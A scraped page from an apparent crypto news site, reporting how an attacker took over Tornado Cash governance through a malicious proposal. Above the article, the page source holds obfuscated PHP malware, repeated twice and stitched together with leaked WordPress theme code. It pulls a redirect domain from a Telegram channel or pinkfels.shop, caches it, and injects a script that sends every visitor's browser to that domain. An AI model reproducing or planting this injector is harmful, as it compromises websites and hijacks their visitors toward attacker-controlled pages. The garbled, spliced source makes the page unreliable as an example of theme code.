if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . '/rtl.css' ) ) $uri = get_template_directory_uri() . '/rtl.css'; return $uri; } endif; add_filter( 'locale_stylesheet_uri', 'chld_thm_cfg_locale_css' ); if ( !function_exists( 'chld_thm_cfg_parent_css' ) ): function chld_thm_cfg_parent_css() { wp_enqueue_style( 'chld_thm_cfg_parent', trailingslashit( get_template_directory_uri() ) . 'style.css', array( 'font-awesome-v5','bootstrap','sidr','magnific-popup','sliderpro' ) ); wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); } endif; add_action( 'wp_enqueue_scripts', 'chld_thm_cfg_parent_css', 10 ); // END ENQUEUE PARENT ACTION add_action( 'admin_enqueue_scripts', 'my_cfg_admin_enqueue' ); function my_cfg_admin_enqueue(){ wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); }if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>/** * The header for our theme * * This is the template that displays all of the section and everything up until
* * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package CoverNews */ ?> > Attacker hijacks Tornado Cash governance via malicious proposal – CoinsMegaNews

Attacker hijacks Tornado Cash governance via malicious proposal

3 years ago CryptoExpert
Attacker hijacks Tornado Cash governance via malicious proposal

[ad_1]

Adding to the existing roadblocks of the decentralized crypto mixer Tornado Cash, an attacker managed to gain full control of the governance through a malicious proposal. 

On May 20 at 3:25 ET, an attacker successfully granted 1.2 million votes to a malicious proposal. Given that the proposal received more than 700,000 legitimate votes, the attacker gained total control over Tornado Cash governance.

The information was shared by @samczsun of research-driven technology investment firm Paradigm, who revealed that, when sharing the malicious proposal, the attacker claimed that it used a logic similar to a proposal that had previously passed by the community. However, this time, the proposal had an additional function. 

As explained by @samczsun:

“Once the proposal was passed by voters, the attacker simply used the emergencyStop function to update the proposal logic to grant themselves the fake votes.”

The total control over Tornado Cash governance allows the attacker to withdraw all of the locked votes, drain all of the tokens in the governance contract and brick the router. At the time of writing, the attacker “simply withdrew 10,000 votes as TORN and sold it all,” said @samczsun.

The attack comes as a reminder to crypto investors to vet proposal descriptions and logic. An active community of Tornado Cash, who goes by the name Tornadosaurus-Hex or Mr. Tornadosaurus Hex, confirmed that all funds in Governance are potentially compromised and requested all members to withdraw all funds locked in governance.

As shown above, they also attempted deploying a contract that could potentially revert the changes while still suggesting the community to withdraw their funds. Cointelegraph also came across a distress call from one of Tornado Cash’s community developer who confirmed the above developments, stating:

“There was an attack on the protocol this morning that you already know about. All day, another community developer and I thought about what to do, but the situation is close to hopeless – currently the attacker controls Governance.”

The team is currently in search of Solidity developers that can help save the protocol from extinction. They additionally stated that “we need contact with Binance – this exchange has more tokens than the attacker.”

Related: Allbridge offers bounty to exploiter who stole $573K in flash loan attack

A former Tornado Cash developer is reportedly working on building a new crypto mixing service from scratch, which addresses the “critical flaw” existing in Tornado Cash.



[ad_2]

Source link

More Stories

Coinbase, A16z-Backed Web3 Ad Network Everyworld to Begin Community Airdrop

Coinbase, A16z-Backed Web3 Ad Network Everyworld to Begin Community Airdrop

2 years ago CryptoExpert
Dfinity Foundation Launches Onchain Accelerator Platform

Dfinity Foundation Launches Onchain Accelerator Platform

2 years ago CryptoExpert
Circle Unveils Smart Contract Service for Blackrock BUIDL Holders to Convert to USDC

Circle Unveils Smart Contract Service for Blackrock BUIDL Holders to Convert to USDC

2 years ago CryptoExpert
Stepn Rewards Move-to-Earn Users With $30 Million in FSL Points Airdrop

Stepn Rewards Move-to-Earn Users With $30 Million in FSL Points Airdrop

2 years ago CryptoExpert
Sony Bank Tests Yen-Pegged Stablecoin, Taps Polygon for Pilot Project

Sony Bank Tests Yen-Pegged Stablecoin, Taps Polygon for Pilot Project

2 years ago CryptoExpert
Chinese Government Launches ‘Ultra-Large Scale Blockchain Infrastructure Platform’

Chinese Government Launches ‘Ultra-Large Scale Blockchain Infrastructure Platform’

2 years ago CryptoExpert

Leave a Reply

Your email address will not be published. Required fields are marked *